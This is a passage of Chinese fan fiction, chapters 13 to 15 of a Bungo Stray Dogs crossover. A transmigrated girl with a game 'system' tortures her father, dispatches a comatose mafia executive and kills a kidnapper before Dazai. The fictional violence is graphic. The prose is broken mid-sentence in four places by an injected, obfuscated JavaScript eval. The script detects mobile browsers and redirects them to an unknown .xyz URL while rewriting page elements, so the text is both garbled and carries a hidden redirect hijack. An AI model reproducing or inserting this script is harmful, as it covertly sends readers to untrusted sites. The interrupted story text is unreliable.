黏糊糊的声音从门缝里边挤出来,太宰停都没停直接推开门进去,原本往门口冲过来的金发小女孩敏捷地闪开了没撞上他,把他当做行走的柱子绕着躲避着身后的追击,又克制不住心里畏惧地躲得更远了,“才不要!林太郎!走开!” 一身黑的黑发男子举着一件蛋糕般繁复的裙子,满脸的陶醉在看到女孩的抗拒后变成宽面条泪,“爱丽丝~” 港口mafia的现任首领,森鸥外,很遗憾,就是这么个东西。 “真恶心。”太宰不想配合演出,用拉长的无聊声音做出评判。 “咳。”闹剧迅速告一段落,几秒之后森鸥外换了副深沉的表情,手指交叠地坐在红木桌后,半边表情隐没在黑暗,半边表情暴露在灯下,又仿佛是一个完美的港/黑首领了,“太宰君,知道我找你来是因为什么吧?” “谁知道森先生又准备做什么~”太宰当然不会回答这种答案过于广泛的问题,他明知故问地扯东扯西,“啊,如果说是最近的清理行动,已经接近尾声了哦。森先生要听汇报吗?” 真要听这种琐事的话,我可以让中也去写报告交上来。太宰祸水东引地转了转脑筋。 “三天前,五大干部之一的A,遭遇袭击了。”对于太宰的反应似乎有点意外,森鸥外用一种好像在暗示什么的语气,缓缓吐出了这句话。 在黑暗中,隐约的绯红色从那双盯着他的瞳孔中透了出来,说出这句话之后,森鸥外放任沉默填满了办公室的空间。 “……”太宰的心情逐渐微妙了起来。 虽然今天完全没有把心思放在工作上,但如果真的是三天之前出过涉及干部的这种事,太宰没理由没听过。 ……而且他很清楚,除了给钱之外完全没用的这个干部A,到底应该在什么时刻下线。 而如果有一个存在,在24小时内,突然打破正常世界线展开、又改变了原本的现实……提问!这还会是谁呢? 当然是我凑巧在今天公开的恋人。 被祸水东引的竟然是我!被意外坑到,而且是自作自受的太宰居然没有生出什么负面情绪,反而难得感觉到了好笑和兴趣。 “原来我们还有个干部A啊。”太宰在做出沉思之后,用字正腔圆的搞怪语气说道,随即摆出虚情假意的关切,“人已经死了吗?需要我去代森首领探望吗?” 森鸥外微微眯了眯眼睛,也用同样虚伪的口吻教育,“对干部还是抱有基本的尊敬吧,太宰君。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730862|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 虽然A平时只管交钱,把港口mafia当做保镖的想法确实愚不可及。被提醒到的森鸥外想到,真死了也就死了。 太宰从善如流地“嗯嗯”了几声,“话说,如果他死了的话,干部的位置就会空出来了吧?” “太宰君。”森鸥外用略带警告的声音叫了一声口无遮拦的小混蛋的名字,但随即又像一个真的很在意对方的老师一样轻轻放过了这句失礼的话,用词冷酷中带有几分遗憾,“他还需要活着,毕竟港口mafia现在的财政还是很紧张的。” 他没有被小少年的这几句插科打诨绕过去,在换了一个交叠双手的姿势后,直接指向了问题中心,“找到袭击的那个人。港口mafia的尊严不容挑衅。” “啊……之前把一大堆任务抛到我头上,现在又突然给出这个任务……”太宰用抱怨的语气说着,微微垂下的眼睛里流转着波动的思绪,他表情倦倦的,心里边倒是什么都没有,“森先生真会压榨人。” 做出这一切的是谁……你到底是知情,还是不知情呢,森先生? ……唔,要不要为她遮掩还是两码事吧。太宰晃了一下神,突然发觉自己代入的有点过深了……他们又不是真的恋人。 倒不如说对方真的被卷入这等事态,最后加入港口mafia的发展反而更顺理成章。 “毕竟像太宰君这样能干的人,我们组织现在真的不多啊。”森鸥外用夸赞的口吻说道,显然不打算收回成命,“话说,太宰你最近……恋爱了?” 森鸥外扯了另一个话头按下太宰可能的抗议,却在说至半途,连自己的语气里边也带出了一点迟疑。 “是的哦!”太宰不动声色地回神,他的情绪有点莫名的低落,面上倒是坦然自若起来了,他兴趣不高地开始表演,半真半假地说道,“我想我遇到了‘真货’,喜欢就是不讲道理的事情,见到那个人就知道绝对不能错过……森先生不相信吗?” “你高兴就好……”眼前的森鸥外一瞬间流露出了复杂的表情,要是形容的话,可以概括成“真的吗,我不信。” 哪里不对吗……?太宰发现他甚至没有生出要把恋人变成自己的弱点,拉进mafia里控制的心思。 ……总不至于这个时候生出什么不合时宜的当老师的心情吧! “……需要一点来自老师的经验吗?”在略微漫长的沉默之后,森鸥外真的挤出了这样一句话。 太宰瞬间换成了看不可回收垃圾的目光看他,把目光在爱丽丝和他之间打了个来回,身体力行地提醒他how dare you。 捏造的幻想是这种存在的话,少年幽幽道,“森先生的感情经验完全没有参考价值吧。” “……”被怼了两句,脾气仿佛很好,完全没有生气的首领摆摆手,示意他可以走了。 太宰毫无留恋,转身就走。 厚重的大门合上,少年人轻快的脚步声消失在门后,重新沉入黑暗中的首领拿出那张被手下传给他、打印好的照片,看着里边的少女陷入了沉吟。 “还是在哪里见过的样子啊……” 13. 第13章 “我收到了你发送的短信……”在来到了暂时只有他们二者的房间后,永末在脑海中敲了敲系统去更易这里的监控,转身闪开了中年男子想要过来接过她手中手提箱的动作。 “我帮你拿……好吧,尚夏,爸爸当时不是故意把你丢下的。”看出她神色中的冷淡,中年男子不尴不尬地搓着手解释道。 永末充耳不闻,专心观察起墙壁,又用目光找寻起房间里可能存在的摄像头。 这是赌场供给顾客留宿的房间,赢得的巨大金额让她能选择的范围很大,她选中谈话的是总统套房,隔音非常优异。 确定没有第二双眼睛和耳朵之后,她按亮房间的顶灯,这才把目光放在了身份卡的“父亲”身上。 “……”永末现在看到对方,还会感受到翻车的郁闷,这是活生生的她抽卡的失败。 “……也是有负面的可能。”她自我安慰。 运气好的话,又跟攻略对象强相关的身份,是不是可以抽到类似于联姻对象、青梅竹马、同班同学的身份,最不济也应该可以拿到见过几面的路人什么的,为什么偏偏她抽出来一张欠债给对方组织的身份……总不至于跟攻略对象玩“欠债70亿卖身女仆还债”的里番剧情展开吧! “这么说起来,当时你把我丢给那个白头发,是不知道他会对我做什么的?”永末尚夏重复他话中的意思,“并且也没胆子呆在那里看吗?” 永末有点失望地想起来调度的工作人员对男人的评价,废物吗……还挺贴切的。 男子脸上浮现出被说中了的心虚,把这话当做了嘲讽,他突然提高了声音,好像想要用强硬的态度压服她,“你是我女儿,我不可能害你的……反正你也不会有事情啊!这些事情都已经过去了……你现在也活生生在这里。” “我就问你一句。”软的不行,又见这里只有他们两人在,男人看起来逐渐找回了自己身为父亲和男性的自信,他不耐烦地把袖子往胳膊上撸了两把,眼睛里放出来威胁的寒光,一巴掌朝她手中的箱子呼来,看起来打算直接抢劫,“钱你到底给不给我?” “……是我不对。”永末看着他发作,用平静的语气道歉。 赌场有安检,她于是换了一件荷叶边的绯色礼服,身上自然是没有带着武器的。 但伴随着她吐出后半句话,少女身上柔软的织物逐渐在灯下变色了,宽大的羽织松散地重新披上她的肩头,遮蔽住腰间的硬物,永末借着袖子的遮掩,单手把长刀抽了出来,神色平得让人发毛,她说: “是我不对,我没有在最开始就好好教你怎么说话。” 锋利的寒光一瞬间破开空间,动如脱兔,后发先至,刀面映照出男人愚蠢的呆滞嘴脸,而跟刀光一起坠落的,是三根手指。小指,无名指,和大拇指。 男人还没感觉到痛,只是听见幽幽的声音响起。 “其实我一直觉得管不住的东西就不太有必要长在身上……” “啊啊啊啊啊……”爆发的涕泗横流的惨叫,这次是货真价实在悔恨的嚎哭,被隔音墙板一应掩埋。 …… “我错了!我错了!对不起!求求你了,原谅我啊啊啊啊!” “这不是我想听的东西,不要浪费时间了,我提问,你回答……第一个问题,‘我不会受到伤害’是什么意思呢?” “你怎么会不知道,你……啊啊啊啊对不起!对不起!我全都说……不不不——!” 虽然永末自认为对于拷问没什么研究,但好在对手废物到并不需要多少手段,就抱着左手跪在地上,痛哭流涕地开始竹筒倒豆子,把一切全都抖出来了。 最开始的异常,是少女在体育课上擦伤了腿,她忍着疼站起来,往膝盖上看去,血迹还残留在上边,却没有找到伤口。 “欸……?”第一次的时候少女没有把这事放在心上,直到第二次、第三次……不小心把杯子打破了,碎片扎了一下手;骑自行车从坡道上滚下去,好像撞到了头……不管怎么受伤,多重的伤势,身体都会快速地恢复。 这份能力似乎没有特别严重的代价,只是修复后会需要进食大量的食物。 一开始是喜悦的、少女觉得自己是最特殊的人,但没有经历过什么挫折的她很快感觉不安。于是怀着赤诚的信任,她选择把这件事告诉了家人……最初并没有什么问题,直到这份信任,变成了几年后回旋正中她自己的刀。 在父亲急需用钱的时刻,需要明码标价的卖出女儿的关头,她变得更加值钱了。 “……”永末听着耳边男人口不择言的忏悔,神色不动,用刀刃轻轻在手指上压出一道口子,而在刃口离开皮肤的同时,那道口子直接愈合了。 “原来如此,我明白了。” 确实是非常值钱的特殊能力……值钱到她随随便便一想,就能找到非常地狱的用途,比如说这份能力要是强一点,她就是一个取之不尽的活体/器官库。 话说回来,“无足之鸟”这种名字跟这份能力感觉有点不搭……思绪拐到了奇妙的地方。 “我已经、已经全都告诉你了!夏夏…呃呃……不,不是,我绝对不会再去骚扰您!……” “别害怕。”永末回神,“我还有最后一个问题。” …… 门口的几位工作人员似乎听见了一点微小的动静,仿佛里边有人遭遇了地狱之苦,不由得朝着关上的门侧过脸。 正巧,没有多久,提着手提箱的少女就推开了门,她还是之前的那件绯色衣服,但那身红色却有点深了。她吐出散漫的话语,扫过每个人颈部的宝石项圈,“我晚上还得回家。” 虽然早上离开的时候留过条子,她也不觉得太宰会真的在那个房子里边等她回去,但是最好还是回去看看。 回应她的只有沉默。很显然,面对虽然没有抓到是怎么作弊但绝对作弊了的少女,在港口mafia势力下的赌场,不可能轻易放她离开。 特别是她已经离开了赌场其他顾客的视野,不管怎么处理都非常容易的时候。 永末挺清楚这里不是善堂,本来她的打算是顺势去见一见这里的主事者,但挺神奇的,居然正好凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730863|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了某个权力的真空期。 从之前那些乱七八糟的调度就可以看出来了,这里这些工作人员虽然还依照过往的秩序在运行赌场,但缺失了最顶头的能做决定的人,遇到需要机变的事情就开始手足无措了。 说不定现在即使凭她也可以全身而退呢,至于之后再找她麻烦,那就是另外一回事了,永末在宽大的荷叶滚边袖中摸了摸刀。 但就在这个时候——— “嗒、嗒、嗒嗒嗒。”无数的脚步声由远及近地传来了,这些脚步很轻,但堆叠起来足以让人听清了。 永末不动声色地隐去了手中的武器,她转过头,顺着脚步声的方向,目光越过拦在她跟前的赌场工作人员,往门口的方向看去。 好像群蚁占领全新的巢穴,黑色西服的墨镜男如同工蚁一样,有条不紊地、沉默地进入了这间赌场,甚至没有惊动到还在彻夜赌博的大厅。 看到这些密密麻麻的工蚁,看到他们腰间的凸起的枪械,名为港口mafia的庞然大物,从冰山一角中展露出了它独属于黑暗的恐怖。 这种架势不可能是冲着她来的。永末很清楚。 但还是很不凑巧。 “咯…咯…”牙齿磕碰的声音,永末环顾四周,确定这是一个年纪尚小的工作人员发出来的,他们似乎比她更为害怕那些mafia。 “……我以为,有主事者过来,你们会松口气?”永末问了一句。 “如果……如果a先生昏迷的这段时间,赌场落进港口mafia手里……我们、我们就全都完了。”似乎绝望于这个过于恐怖的现实,恐惧的语句无法抑制地泄露了出来。 他说了一句特别轻的话,永末也有点讶异自己居然能捕捉道,“我们、都会变成宝石的……” “啊,我明白了。”永末尚夏盯着他颈部的项圈,无声说道。 …… 加班让人厌烦,压榨童工这种行径更是想让人诅咒资本家,连夜被赶去收拾干部A的意外出事,不幸两个都占的太宰倒在车的后座,瘫着拿出游戏机打发时间。 一时间后座被游戏音效填满了,他耐着性子打了两关,被一成不变的游戏关卡消磨了耐性,轻易通关之后就把游戏机抛开了。 窗玻璃印出他空荡荡的眼睛,只有单侧露出来,另一侧遮挡在绷带之下,玻璃外则是越来越偏僻的道路,漆黑的夜色把一切都笼罩了。 “把一切都可以当作棋子舍弃掉,用最小的代价取得胜利……所以一旦对他有用,就会在使用的时间被榨取所有价值吧……森先生的理论不管听多少次都好无聊的。”看了一会风景,他说出了感想。“那种崇高理想的论调,只能骗骗中也这个傻子吧。” 司机一声不吭,仿佛自己已经聋了瞎了。完全没有听见这种大逆不道的话。 “不过能找到像傻子一样去相信的信念,也真是幸运……”太宰也没有继续说下去,暗沉的眼睛转向后视镜,跟一直偷窥着他的司机对上了。 “话说回来,你又是因为什么选择背叛港口mafia的呢?” 14. 第14章 似乎有一点轻微的骚乱在黑西装内发生了,永末看到了混乱,但很快被其中为首的老爷子压制下去了。 永末尚夏当然不知道,这是因为应该出现的太宰在半路上失踪了……虽然他失踪的情况还挺常见的。 她只是察觉到了这份交接中的间隙。 “如果a先生从昏迷中清醒,你们会完蛋的话……”在有点彷徨的工作人员身边,少女靠近了其中最年幼的一个,说出了宛如在日常聊天的对话。 “那他再也醒不过来的话,你们会得到解脱吗?” 被问及的少年,有点失措地往四下看去,派到这里来阻拦少女的人并不多,因为之前没叫人过来,现在又忙于接待新来的港口mafia成员,房间门口只有两个工作人员。 不知道有没有听见这句话,他身边的同伴都做出了仿佛没有听见的样子,好像在等待着少女继续往下说。 他于是只能自己面对这个问题,“你、你……” 没有等待什么的焦虑,立场不明的少女现在的情绪还是很稳定,她用闲聊一样的语气接着说道,“我想见一见a先生……就是那个银发妹妹头?” 似乎担心认错人了,她还体贴地补充了外貌。 “但我不在意他到底是死是活,也恰好有一点让人醒不过来的特殊小技巧,所以需要帮忙吗?” “别开玩笑了!”少年及时想到了耳朵上的耳麦或许正在收音,他不由自主地伸手拉低它,不知道想要关闭还是打开,“你能做到什么?!” 但他的手却摸了个空,不知何时,那枚耳麦已经消失不见,他只摸到空空断裂的接线。 什么时候……? “不好意思,刚刚顺手就斩断了。”少女伸出手,把失踪的那枚耳麦递给他,好像递出一朵纯黑的花,她的目光往下偏移了一点,望在他的项链上。 “那条狗链,需要一起斩断吗?” “……A先生前几天处理日常事务的时候,不知道因为什么遭遇了袭击,脑部受伤,现在还在昏迷……就在这家赌场的地下治疗室里边。他在底下开辟了很多密室。” 并不是他的声音。 从少女的后边穿来了低沉快速的说明,少年吃惊地抬起头去看他的同伴,而对方却好像什么都没说过那样,迅速偏开脸。 “……”少年懵了一瞬,好像得到了某种勇气,“我知道怎么进去。我全都告诉你!让他死掉!……不,永远别醒来!拜托,拜托你了!” 少女不置可否地轻轻点头。作为回报,她微微侧过头,往之前离开的房间里边仰了仰脸,“我把赢来的现金,大部分留在里边的桌子上了。” “交给你们处理了,带着它跑掉,还是交给别人,都可以。” …… 半小时后,永末发出最后一道伪造的短信,把医护人员从房间调开,她从通风管道口处斩开一层铁皮,落进了房间里边。 带着呼吸机的a先生正在床上苟延残喘,他的造型稍微有点超越永末的预料,这么说吧,他包得比太宰还严实,如果永末没有准备,或许会以为谁把博物馆里边的木乃伊搬了上去。 永末走近了几步,让他的脸、或者是应该是脸的那一坨纱布,完整的映入眼帘。 永末自觉不算很有善心的人,如果不是为了这后边的她自身的秘密,也为了方便让那两个人自愿地放她离开,她也不会主动趟这次浑水。 跟她所预料的一样,第一次看到相关人士,身份卡的背景CG触发了。 虚幻的画面闪过她的眼睛,她看见,自己、不,应该是“永末”,站在办公室桌子跟前,颤抖地看着桌上的合同,和合同边上的项圈。 “不是、不是说表演一下那个能力就放我们走吗?” “啊,那个男人这么跟你说的?他跟我说的可是,想对你做什么都可以。” 看到少女好像挨了一鞭那样抖了一下,a先生堆出和蔼的态度,把桌上的项圈递给她,“不过我很善良,只要你带上这个就可以了。” 在这个房间中的,只有少女、a先生和一些比家具多些呼吸的工作人员。他们听到这句话,眼神中似乎流露出了一些痛苦,但没有一个人敢在银发男子跟前表露出来。 看到少女犹豫不定,a先生加码道,“不仅如此,你戴上它,这些合同也可以一笔勾销。” “我还可以给你父亲的其他欠款,再宽限一些时间。” “他、他又欠钱了?!”少女反而被这句话洞穿了。 “……”她低下了头。 唯一的亲人深陷其中,在外边的世界又走投无路,像之前的数次之后,在崩溃后,她把手伸向了项圈。 “我已经……”照你说的做了。 她的话没能说完,“呃…”她的呼吸急促起来,好像生命在随着什么被抽取一样,短短几秒,她眼前一片雪白。少女脱力地跪倒,手指抠挖着脖子上的项圈,指甲喀喇喀喇地在皮质项圈上划出几道口子,剧烈的痛苦剥夺了她呼吸和呼痛的能力。 白光从少女的身体中溢散开,把整个房间照得雪白。 “哈哈哈哈哈哈哈……”房间里边只环绕着a先生的狂笑,他先是忍俊不禁,又转为放肆的大笑。 “拥有这份恢复的能力,生命力能换取多大的宝石呢?” a先生的得意忘形没有持续很久,应该说在半分钟后,他就意识到了异常。 光芒还在持续,宝石还没有转换成功…… 就好像少女的身体中,有无限的生命可以兑换。 “开枪!”a先生破音道,“杀了她!” 对于夺走他人的生命,他总是不乏勇气,他对着那片白光开了第一枪,其他工作人员也依照命令跟着扫射,子弹陆续打中痛苦呻吟的少女,而异变也在此刻发生。 那是什么……? 仿佛瞬间有什么东西极快地染过视野,“噗嗤——”“咯啦——”“哗——”让人牙关发紧的声音后,只剩下一片绯红的血迹和一堆生死不明的残缺肉/体。 永末怀疑自己刚刚眨眼的时候漏掉了几帧画面……但现在也没办法回放。 最后的CG画面,是一只属于少女的手,从那团血肉中出现,按在了桌面的那叠合同上。 ……原来如此,那叠出现在空间里边的合同,是这么来的。 虽然只是虚拟的过往,“永末”小姐也做了好事呢,她帮说话不算话的家伙履行了诺言,非常好。 心怀着莫名的愉快,她走近病床边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730864|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向木乃伊,心里有几分对于他还能从那个状态里边活下来的尊敬,行为上却没有半分敬意地直接剥开了纱布……在底下是坑坑洼洼、好像被蚕食过的脑袋。 【已检测到玩家收集到新时装所有功能碎片,现在开启时装完整功能显示。】 自动播报的电子音在耳边浮现,同时游戏的界面展开了。 【当前时装外观:鬼杀队队服(重命名) 携带武器配件:日轮刀 特殊效果(已录入):鬼王体质(改)】 【鬼王体质(改)说明: 在玩家取得██████和█████,历经500年,无数研究者的定向研究后,去掉了部分特质,又新引入部分特质的结果。 该版本保留了“鬼”快速复生、人体拟态、异常寿命等特质,修复了“鬼”畏惧阳光、只能进食特殊食材的缺陷,同时遗失了血鬼术、分体控制、感染子体等特质。 系统评价:一次失败的改造,但玩家满意就行。】 永末愣了一下,开始在脑子里边摇起了系统,“这是怎么回事?” 系统还专心在给玩家的行动放风,顺便删改她们一路过来的监控,闻言才探头看了看她这边的情况,解释道:【每局游戏打出end都会附赠时装,夏夏可以把在这个世界里边得到的能力刻印上去。】 它说出很笨蛋的话:【……不过之前原来夏夏的研究是这个啊……是因为成果很失败所以不想让我知道吗?……才一直不肯告诉我。】 ……本来永末还在想如果能从系统这里知情,她何必绕这么一大圈。现在她被这份天然打败了。 “……算了,玩去吧。”她低头看了看眼前自作自受的a先生,觉得自己或许也有点自作自受。 不过来都来了,把事情做完吧。 “……不知道拟态能做到什么地步,总之……便宜你能在这个梦中一睡不醒了。” * 夜色已经笼罩了大地,永末从赌场独身离开。她一边在思考着她为什么总是在走夜路,一边又不由地回忆起昨夜跟太宰一起走夜路的场景。 路灯投下阑珊的影子,她转过巷口,慢慢地抛接着手中的纽扣,之前离开的时候她特意把这个玩意从水杯里边捞了出来。 她还没有想好,是装作没发现呢,还是在再见到太宰的时候递还给他呢。 “别出声,小姐。”身后路过的暗巷中,传来了陌生男人的声音。 接着,枪支抵在她的腰上。 ……虽然知道拿着这么一大笔钱,会有抢劫的人很正常,但是…… 永末缓缓回过头,举起手,给他展示空空的手心,“你要钱的话,我在离开赌场之前已经散给别人了。” “箱子也丟进东京湾了。现在回去捞说不定还能捞得起来?” “什么……?”黑西装的男子脸色不太好,但看起来居然有点没听懂她在说什么,他猛地用枪把她往前顶了几步,“别废话,跟我走!” “………”在永末想动手做些什么之前,男子说出了那句暂时救了他命的话。 “太宰……”他卡了一下,不知道出于什么理由,在停顿后还是加了敬语,“先生。” “太宰先生在等你。” 15. 第15章 真的把这个男人当作太宰来请她的部下……永末是不相信的,男人的手段过于低劣了。 但游戏界面的地图红点确实显示攻略对象在她即将到达的地方。 ……也许这个男人并不是信使,但也确实承载了某个邀请。他本人并不知道,但确实是太宰在等她。 所以几十分钟后,永末平静地在枪口的威逼下,走进地牢深处。 微弱的灯火点燃在墙壁上,给里头的人投下纸偶似的剪影,走到最里边,她看见了被两个人用枪指着,双手被手铐拷住、在小凳子上坐着,两条长腿无处安放的太宰。 太宰被关起来的样子颇为无害,但在永末进来的时候,不知为何,看守的两人都是一副精神濒临崩溃的样子。 明明握枪的是他们,但他们的反应好像自己才是被枪指着的人一样。 每次相见的场合都显得很奇怪呢。永末这么想着,在门口处不由得停了一停,当即被身后的男性用枪口捅了腰子。 “快进去……别做多余的事!”身后的这个家伙,声音似乎也变得有点颤抖了。 在路上的时候,这个人的情绪已经显得有点异常了,仿佛在人生的十字路口选择左拐或者右拐,选错就会迎面驶来一辆泥头车,他就给人这样的感觉。 而越是靠近地牢中的太宰,这份黑洞一样的压力就越是压迫着他,永末稍微有点担心他失去理智突然对着里边扫射起来。 好在并没有,他的到来让里头看守的人士解脱了,男人挥了挥枪,那两人便鱼贯而出去外侧走道看守,甚至不知道出于什么心思,走得很远。 现在就只剩下他们三人了。 “欸~小夏小姐!”太宰快快乐乐地对着她摆手招呼道,仿佛他们相遇的地点是路边的咖啡馆。 “早上看到小夏小姐留下来的话,以为小夏小姐要抛弃我了……”太宰含情脉脉道,“没想到再次见面,会是这么适合一起步入三途川的地方!这就是命运的安排吧?” “太宰…!”永末还没有作声,身边被完全无视的男人先叫嚷起来。 其实永末感觉得到身边这个人似乎想吐出一点蔑称,但在无形的压力之下,最后他还是用了敬辞,“太宰先生!不要再装聋作哑了,您已经看到了!这位我请来的客人……!” “是你的恋人吧!” 他说着,原本放低的枪口直直地指向了永末的头颅,手指在扳机上神经质地抖动着,做出一手抖就可能出现什么意外的样子。 超出男人这副作态的预料,太宰托着脸,对于身前一手抖就可能发生的惨剧熟视无睹,眼波中流动着他完全读不懂的光。 不过他自己落在随时可能脑袋飞飞的状态也是这个反应。 更让男人演不下去的反而是,被枪口指向的少女也摆出完全没有紧张感的虚无表情。 男人只能硬着头皮继续往下说,“我听说过您的名字和那些事迹,知道拷问您不会有任何用处……但跟您的利益不冲突,我们只是想……”活命。 “啊,那倒是不一定。”太宰发出遗憾的声音,打断了他的话。 “其实我很讨厌不必要的痛苦,也很乐意把港/黑的绝密情报,乃至森先生最近又跟爱丽丝酱做过什么游戏都告诉你们哦。” “但你们对审讯出港/黑的情报没有半分的兴趣,看起来甚至不打算杀了我泄愤……差评,明明都做出了叛逃的选择,居然还想着规避风险,全身而退吗?市浦桑。” 他随口说出来的名字,似乎带给了跟前的人极大的压力,男人似乎没想过自己的名字会被记住。 而太宰还在继续往下说,“是已经被身后的组织当作弃子抛弃了吧,走投无路之下,想要从我这里得到帮助,让你们能从横滨偷渡出去……?” “对!我知道您在负责一条走私宝石的线路……只要对我们的离开睁一只眼闭一只眼,只要能离开横滨……!”男人激动道。 “欸~先不说离开横滨之后,还会不会被抓到。”太宰说着,发出很可爱的声线,“但是那条走私线路已经交给中也处理了呢,你们刚好在今天的任务里边得罪了他的小队……” 太宰用余光扫过永末,听到中也的名字,她没有任何听见熟人名字的反应,他自如地继续往下说。 随随便便地直接说出了男人未曾明言的打算,而且也带着同样的随意打碎这份计划。 “如果我不想帮忙的话,过了今晚,你们该怎么办呢?” “像老鼠一样等着被找出来,然后被重力撕成渣吗?” 明明如果激怒这伙人,过不了今晚的先会是他吧,但看起来他完全不在意这种小事,非常乐于在刀尖上跳舞。 ……太宰的后手在哪里呢?永末想道。 “你已经落在我们手中了!我们要是出不去,你也活不了!” 男人听到这话,终于绷不住了,他胡乱地用枪口逼近了太宰,在看到他眼中闪耀的期待之后,又把永末扯到他跟前,用枪对准她,准备先拿她开第一枪,“她不是你的恋人吗!她的安危你总会在乎的吧?!” 如果再任由这伙人失去希望,说不定真的会落到被泄愤杀掉的地步,那样就真的要一起殉情了。永末可以清晰地感知到危险。 但在这种紧张的时刻,永末依旧维持着游离的神情。 她感觉自己正身处一幕过于超现实的剧目中,被市浦挟持住往前方拉扯去,跟太宰凑得格外近的时候,她越发有了正在旁观“戏剧”的感觉。 在这个对视的瞬间,他们都在彼此的脸上读出了什么。 太宰是观众,正在等待她作为剧中人,为他展露什么精彩的表演……她也是观众,刚刚欣赏了他将这场剧目推动至高/潮的演出。 啊,他的后手……是我吗? “我好像做了多余的事情。”太宰突然这么轻轻说道。 “我好像在做多余的事情。”永末自言自语地回应道。 “砰——” 概率并不算很大的意外发生了,但以永末糟糕的运气来说倒也寻常。他们三人之间乱晃的枪支居然真的走火了。 而永末也在这个时候行动起来了。 就他们仨的运气和站位而言,最有可能被打掉脑壳的是她本人,这不是什么大事,毕竟她比较好拼,如果流弹扫中攻略对象,他可能就拼不起来了。 但预测归预测,没有落到实处都不能是百分之百。 现在永末就在把它变成百分之百。 永末以超越人类应该拥有的反应时间,猛地伸手握住了子弹。子弹穿透她的手掌、撕裂里头的皮肤和骨骼,同时把鲜血溅在过近的那家伙脸上,而在它动能衰减地从另一侧穿过之际,永末已经闪开了这一枪的轨道。 不会有第二枪了。 手掌在剧痛中血肉重构,她心平气和地握住了虚虚浮现在袖中的长刀。 手起,刀落。 …… 市浦雄真,这场演出中唯一真情实感的剧中人,已经倒在舞台之上了。 他的颈部绽开一线细细的红痕,但这道细纹里涌出的液体却在地板上逐渐晕开一圈圈的暗红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730865|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>昏暗的地牢中,永末看着他咽下最后一口气,而太宰则是以一种难以形容的表情看着她,看起来既不是达成目的的愉快,也不是搞错了什么的郁闷,他伸手擦了一下脸上的血迹。 “小夏小姐……原本还以为小姐从来没有做过这种事。”他的语气还是一如既往的柔软,“会需要克服一些心理障碍呢。” “但好像小姐天生就应该是我这边的人。” 在刚刚凑得很近的时候,他闻到了她衣服上细微的血腥味。 永末没有对这句评价发表见解,她只是甩了甩手,把多余的血污从指尖擦掉,露出完好无损的雪白手心。 太宰看了两眼,从上边收回目光。 “决定要做的事情,就没有反思的必要。”她没有再看地上死去的人,就像没有再回忆丢下东京湾的手提箱。 箱子里边的原本现金已经放在赌场房间的桌上了,那么带出来的箱子里会是什么呢? …… 时间回转到几小时前,赌场的私人房间中,永末开口:“我还有最后一个问题。” “虽然没有她具体的记忆,不过我想这件事也不会真的在记忆里边存在……本身也是在昨天晚上还不存在的事情……但是这个问题,还请回答我吧?” 少女稳稳地举起刀刃,压在中年男子的颈间,没有破皮,只是带起威胁的冷意。 “离开的‘母亲’……去哪里了?你的监控影像消失在这里……她的影像,消失在家里。我找不到她了。” 在灯光下,中年男子的瞳孔中闪动着更大的惊恐,比之前更甚,“她、她……”他搜肠刮肚地想要寻找能说的东西。 ……但他的表情已经交代了一切。 “……我知道了。”永末说道,“谢谢。” “噗、嗤。” …… 确实不是第一次做出杀人这种事。 但在第一次做出的时刻,也没有多余的负罪感。 剥夺人命的恶心感,没有;破开血肉的生理性战栗,没有;面对已死之人尸骸的畏惧感,没有。 ……也许这应该被称之为异常吧。就好像她是什么被剥离人心的人偶一样,跟记忆一起,这些感觉也消失了。 但是,我觉得我非常正常。永末自行下了断言。 “已经都看清楚了吧。太宰先生。”永末平静地说道,“说起来,之前一直想把这个给你。” 她对着太宰伸出手,从指缝里边,那枚小小的纽扣落在了他手中。 被发现了的人没有露出意外或歉疚的表情,连掩饰一下的谎言都懒得撒出来,他只是笑了一下,咔地拨动了一下里边的精细构造,让里边的二号发信器被正式开启。 其实没有什么特别应该强调的。 已经在黑暗之外没有其他容身之所……做出了杀人的罪行,就无法回到简单的,属于白天的世界里边了吧…… 